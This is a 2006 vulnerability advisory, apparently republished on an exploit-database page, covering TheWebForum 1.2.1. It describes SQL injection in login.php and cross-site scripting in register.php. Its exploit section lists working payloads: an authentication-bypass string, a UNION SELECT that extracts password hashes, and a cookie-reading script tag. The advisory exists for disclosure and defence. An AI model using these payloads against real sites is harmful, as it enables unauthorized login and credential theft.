Lucene search
K

EV0017.txt

🗓️ 08 Jan 2006 00:00:00Reported by Aliaksandr HartsuyeuType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

New eVuln Advisory: TheWebForum Script Insertion and Authentication Bypass. Multiple vulnerabilities in TheWebForum's login and register scripts, including SQL injection and XSS

Code
`New eVuln Advisory:  
TheWebForum Script Insertion and Authentication Bypass  
  
--------------------Summary----------------  
Vendor: TheWebForum Group  
Software: TheWebForum  
Sowtware's Web Site: http://sourceforge.net/projects/twf/  
Versions: 1.2.1  
Critical Level: Moderate  
Type: Multiple Vulnerabilities  
Class: Remote  
Status: Unpatched  
Exploit: Available  
Solution: Not Available  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
Published: 2006.01.06  
eVuln ID: EV0017  
  
-----------------Description--------------  
TheWebForum has multiple vulnerabilities.  
  
1. SQL injection and authentication bypass.  
  
Vulnerable script:  
login.php  
  
Variables $_POST['username'] or $u isn't properly sanitized before being used in a SQL query. This can be used to make any SQL query by injecting arbitrary SQL code and log in without password.  
  
SQL Injection Condition: gpc_magic_quotes=off  
  
  
2. Cross-Site Scripting  
  
Vulnerable script: register.php  
  
Variable $www isn't properly sanitized and may contain arbitrary html or script code.  
  
  
  
--------------Exploit---------------------  
Authentication bypass example (SQL Injection):  
http://host/twf/login.php  
User Name: a' or 'a'='a'/*  
Password: anypassword  
  
Get user's password hash example (SQL Injection):  
http://host/twf/login.php  
User Name: a' union select N,password,3 from users/*  
User name will contain password's hash of user with ID=N  
  
JavaScript insertion (XSS):  
http://host/twf/register.php  
Website value: <script>alert(document.cookie)</script>  
  
  
--------------Solution---------------------  
No Patch available.  
  
--------------Credit---------------------  
Original Advisory:  
http://evuln.com/vulns/17/summary.html  
  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation